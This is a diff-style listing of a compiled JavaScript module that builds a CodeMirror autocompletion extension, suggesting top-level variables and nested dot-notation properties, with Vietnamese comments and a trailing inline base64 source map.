2
|
+
/**
|
|
3
|
+
* Tạo extension autocomplete từ danh sách `items`:
|
|
4
|
+
* 1. Gõ `obj.` → gợi ý properties của obj (dot-notation).
|
|
5
|
+
* 2. Gõ ký tự → gợi ý tên biến/object top-level.
|
|
6
|
+
*/
|
|
7
|
+
export const buildCompletionExtension = (items) => {
|
|
8
|
+
const completionSource = (context) => {
|
|
9
|
+
// Cho phép path nhiều cấp (a.b.c.) — [\w.]+ bắt trọn chuỗi trước con trỏ.
|
|
10
|
+
const dotMatch = context.matchBefore(/[\w.]+\.\w*/);
|
|
11
|
+
if (dotMatch) {
|
|
12
|
+
const segments = dotMatch.text.split('.');
|
|
13
|
+
const partial = segments[segments.length - 1]; // phần đang gõ dở sau dấu '.' cuối
|
|
14
|
+
const pathSegments = segments.slice(0, -1); // các cấp đã hoàn tất
|
|
15
|
+
let current = items.find((item) => item.label === pathSegments[0]);
|
|
16
|
+
for (let level = 1; level < pathSegments.length && current; level++) {
|
|
17
|
+
current = current.properties?.find((property) => property.label === pathSegments[level]);
|
|
18
|
+
}
|
|
19
|
+
if (current?.properties?.length) {
|
|
20
|
+
return {
|
|
21
|
+
from: context.pos - partial.length,
|
|
22
|
+
options: current.properties.map((p) => ({ label: p.label, type: p.type ?? 'property', detail: p.detail ?? '', info: p.info ?? '' })),
|
|
23
|
+
};
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
const word = context.matchBefore(/\w*/);
|
|
27
|
+
if (!word || (word.from === word.to && !context.explicit))
|
|
28
|
+
return null;
|
|
29
|
+
return {
|
|
30
|
+
from: word.from,
|
|
31
|
+
options: items.map((item) => ({ label: item.label, type: item.type ?? 'variable', detail: item.detail ?? '', info: item.info ?? '' })),
|
|
32
|
+
};
|
|
33
|
+
};
|
|
34
|
+
return autocompletion({ override: [completionSource] });
|
|
35
|
+
};
|
|
36
|
+
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZWRpdG9yLWNvbXBsZXRpb25zLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vLi4vLi4vLi4vLi4vbGlicy11aS9jb21wb25lbnRzL3ByZXZpZXctdGV4dC1kYXRhL3NyYy9lZGl0b3IvZWRpdG9yLWNvbXBsZXRpb25zLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sRUFBRSxjQUFjLEVBQXVDLE1BQU0sMEJBQTBCLENBQUM7QUFJL0Y7Ozs7R0FJRztBQUNILE1BQU0sQ0FBQyxNQUFNLHdCQUF3QixHQUFHLENBQUMsS0FBdUMsRUFBYSxFQUFFO0lBQzdGLE1BQU0sZ0JBQWdCLEdBQUcsQ0FBQyxPQUEwQixFQUEyQixFQUFFO1FBQy9FLDBFQUEwRTtRQUMxRSxNQUFNLFFBQVEsR0FBRyxPQUFPLENBQUMsV0FBVyxDQUFDLGFBQWEsQ0FBQyxDQUFDO1FBQ3BELElBQUksUUFBUSxFQUFFLENBQUM7WUFDYixNQUFNLFFBQVEsR0FBRyxRQUFRLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxHQUFHLENBQUMsQ0FBQztZQUMxQyxNQUFNLE9BQU8sR0FBRyxRQUFRLENBQUMsUUFBUSxDQUFDLE1BQU0sR0FBRyxDQUFDLENBQUMsQ0FBQyxDQUFDLG1DQUFtQztZQUNsRixNQUFNLFlBQVksR0FBRyxRQUFRLENBQUMsS0FBSyxDQUFDLENBQUMsRUFBRSxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUMsc0JBQXNCO1lBRWxFLElBQUksT0FBTyxHQUFHLEtBQUssQ0FBQyxJQUFJLENBQUMsQ0FBQyxJQUFJLEVBQUUsRUFBRSxDQUFDLElBQUksQ0FBQyxLQUFLLEtBQUssWUFBWSxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUM7WUFDbkUsS0FBSyxJQUFJLEtBQUssR0FBRyxDQUFDLEVBQUUsS0FBSyxHQUFHLFlBQVksQ0FBQyxNQUFNLElBQUksT0FBTyxFQUFFLEtBQUssRUFBRSxFQUFFLENBQUM7Z0JBQ3BFLE9BQU8sR0FBRyxPQUFPLENBQUMsVUFBVSxFQUFFLElBQUksQ0FBQyxDQUFDLFFBQVEsRUFBRSxFQUFFLENBQUMsUUFBUSxDQUFDLEtBQUssS0FBSyxZQUFZLENBQUMsS0FBSyxDQUFDLENBQUMsQ0FBQztZQUMzRixDQUFDO1lBQ0QsSUFBSSxPQUFPLEVBQUUsVUFBVSxFQUFFLE1BQU0sRUFBRSxDQUFDO2dCQUNoQyxPQUFPO29CQUNMLElBQUksRUFBRSxPQUFPLENBQUMsR0FBRyxHQUFHLE9BQU8sQ0FBQyxNQUFNO29CQUNsQyxPQUFPLEVBQUUsT0FBTyxDQUFDLFVBQVUsQ0FBQyxHQUFHLENBQUMsQ0FBQyxDQUFDLEVBQUUsRUFBRSxDQUFDLENBQUMsRUFBRSxLQUFLLEVBQUUsQ0FBQyxDQUFDLEtBQUssRUFBRSxJQUFJLEVBQUUsQ0FBQyxDQUFDLElBQUksSUFBSSxVQUFVLEVBQUUsTUFBTSxFQUFFLENBQUMsQ0FBQyxNQUFNLElBQUksRUFBRSxFQUFFLElBQUksRUFBRSxDQUFDLENBQUMsSUFBSSxJQUFJLEVBQUUsRUFBRSxDQUFDLENBQUM7aUJBQ3JJLENBQUM7WUFDSixDQUFDO1FBQ0gsQ0FBQztRQUNELE1BQU0sSUFBSSxHQUFHLE9BQU8sQ0FBQyxXQUFXLENBQUMsS0FBSyxDQUFDLENBQUM7UUFDeEMsSUFBSSxDQUFDLElBQUksSUFBSSxDQUFDLElBQUksQ0FBQyxJQUFJLEtBQUssSUFBSSxDQUFDLEVBQUUsSUFBSSxDQUFDLE9BQU8sQ0FBQyxRQUFRLENBQUM7WUFBRSxPQUFPLElBQUksQ0FBQztRQUV2RSxPQUFPO1lBQ0wsSUFBSSxFQUFFLElBQUksQ0FBQyxJQUFJO1lBQ2YsT0FBTyxFQUFFLEtBQUssQ0FBQyxHQUFHLENBQUMsQ0FBQyxJQUFJLEVBQUUsRUFBRSxDQUFDLENBQUMsRUFBRSxLQUFLLEVBQUUsSUFBSSxDQUFDLEtBQUssRUFBRSxJQUFJLEVBQUUsSUFBSSxDQUFDLElBQUksSUFBSSxVQUFVLEVBQUUsTUFBTSxFQUFFLElBQUksQ0FBQyxNQUFNLElBQUksRUFBRSxFQUFFLElBQUksRUFBRSxJQUFJLENBQUMsSUFBSSxJQUFJLEVBQUUsRUFBRSxDQUFDLENBQUM7U0FDdkksQ0FBQztJQUNKLENBQUMsQ0FBQztJQUVGLE9BQU8sY0FBYyxDQUFDLEVBQUUsUUFBUSxFQUFFLENBQUMsZ0JBQWdCLENBQUMsRUFBRSxDQUFDLENBQUM7QUFDMUQsQ0FBQyxDQUFDIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgYXV0b2NvbXBsZXRpb24sIENvbXBsZXRpb25Db250ZXh0LCBDb21wbGV0aW9uUmVzdWx0IH0gZnJvbSAnQGNvZGVtaXJyb3IvYXV0b2NvbXBsZXRlJztcbmltcG9ydCB7IEV4dGVuc2lvbiB9IGZyb20gJ0Bjb2RlbWlycm9yL3N0YXRlJztcbmltcG9ydCB7IElQcmV2aWV3VGV4dERhdGFDb21wbGV0aW9uSXRlbSB9IGZyb20gJy4uL3ByZXZpZXctdGV4dC1kYXRhLmludGVyZmFjZXMnO1xuXG4vKipcbiAqIFThuqFvIGV4dGVuc2lvbiBhdXRvY29tcGxldGUgdOG7qyBkYW5oIHPDoWNoIGBpdGVtc2A6XG4gKiAxLiBHw7UgYG9iai5gIOKGkiBn4bujaSDDvSBwcm9wZXJ0aWVzIGPhu6dhIG9iaiAoZG90LW5vdGF0aW9uKS5cbiAqIDIuIEfDtSBrw70gdOG7sSDihpIgZ+G7o2kgw70gdMOqbiBiaeG6v24vb2JqZWN0IHRvcC1sZXZlbC5cbiAqL1xuZXhwb3J0IGNvbnN0IGJ1aWxkQ29tcGxldGlvbkV4dGVuc2lvbiA9IChpdGVtczogSVByZXZpZXdUZXh0RGF0YUNvbXBsZXRpb25JdGVtW10pOiBFeHRlbnNpb24gPT4ge1xuICBjb25zdCBjb21wbGV0aW9uU291cmNlID0gKGNvbnRleHQ6IENvbXBsZXRpb25Db250ZXh0KTogQ29tcGxldGlvblJlc3VsdCB8IG51bGwgPT4ge1xuICAgIC8vIENobyBwaMOpcCBwYXRoIG5oaeG7gXUgY+G6pXAgKGEuYi5jLikg4oCUIFtcXHcuXSsgYuG6r3QgdHLhu41uIGNodeG7l2kgdHLGsOG7m2MgY29uIHRy4buPLlxuICAgIGNvbnN0IGRvdE1hdGNoID0gY29udGV4dC5tYXRjaEJlZm9yZSgvW1xcdy5dK1xcLlxcdyovKTtcbiAgICBpZiAoZG90TWF0Y2gpIHtcbiAgICAgIGNvbnN0IHNlZ21lbnRzID0gZG90TWF0Y2gudGV4dC5zcGxpdCgnLicpO1xuICAgICAgY29uc3QgcGFydGlhbCA9IHNlZ21lbnRzW3NlZ21lbnRzLmxlbmd0aCAtIDFdOyAvLyBwaOG6p24gxJFhbmcgZ8O1IGThu58gc2F1IGThuqV1ICcuJyBjdeG7kWlcbiAgICAgIGNvbnN0IHBhdGhTZWdtZW50cyA9IHNlZ21lbnRzLnNsaWNlKDAsIC0xKTsgLy8gY8OhYyBj4bqlcCDEkcOjIGhvw6BuIHThuqV0XG5cbiAgICAgIGxldCBjdXJyZW50ID0gaXRlbXMuZmluZCgoaXRlbSkgPT4gaXRlbS5sYWJlbCA9PT0gcGF0aFNlZ21lbnRzWzBdKTtcbiAgICAgIGZvciAobGV0IGxldmVsID0gMTsgbGV2ZWwgPCBwYXRoU2VnbWVudHMubGVuZ3RoICYmIGN1cnJlbnQ7IGxldmVsKyspIHtcbiAgICAgICAgY3VycmVudCA9IGN1cnJlbnQucHJvcGVydGllcz8uZmluZCgocHJvcGVydHkpID0+IHByb3BlcnR5LmxhYmVsID09PSBwYXRoU2VnbWVudHNbbGV2ZWxdKTtcbiAgICAgIH1cbiAgICAgIGlmIChjdXJyZW50Py5wcm9wZXJ0aWVzPy5sZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIHtcbiAgICAgICAgICBmcm9tOiBjb250ZXh0LnBvcyAtIHBhcnRpYWwubGVuZ3RoLFxuICAgICAgICAgIG9wdGlvbnM6IGN1cnJlbnQucHJvcGVydGllcy5tYXAoKHApID0+ICh7IGxhYmVsOiBwLmxhYmVsLCB0eXBlOiBwLnR5cGUgPz8gJ3Byb3BlcnR5JywgZGV0YWlsOiBwLmRldGFpbCA/PyAnJywgaW5mbzogcC5pbmZvID8/ICcnIH0pKSxcbiAgICAgICAgfTtcbiAgICAgIH1cbiAgICB9XG4gICAgY29uc3Qgd29yZCA9IGNvbnRleHQubWF0Y2hCZWZvcmUoL1xcdyovKTtcbiAgICBpZiAoIXdvcmQgfHwgKHdvcmQuZnJvbSA9PT0gd29yZC50byAmJiAhY29udGV4dC5leHBsaWNpdCkpIHJldHVybiBudWxsO1xuXG4gICAgcmV0dXJuIHtcbiAgICAgIGZyb206IHdvcmQuZnJvbSxcbiAgICAgIG9wdGlvbnM6IGl0ZW1zLm1hcCgoaXRlbSkgPT4gKHsgbGFiZWw6IGl0ZW0ubGFiZWwsIHR5cGU6IGl0ZW0udHlwZSA/PyAndmFyaWFibGUnLCBkZXRhaWw6IGl0ZW0uZGV0YWlsID8/ICcnLCBpbmZvOiBpdGVtLmluZm8gPz8gJycgfSkpLFxuICAgIH07XG4gIH07XG5cbiAgcmV0dXJuIGF1dG9jb21wbGV0aW9uKHsgb3ZlcnJpZGU6IFtjb21wbGV0aW9uU291cmNlXSB9KTtcbn07XG4iXX0=
|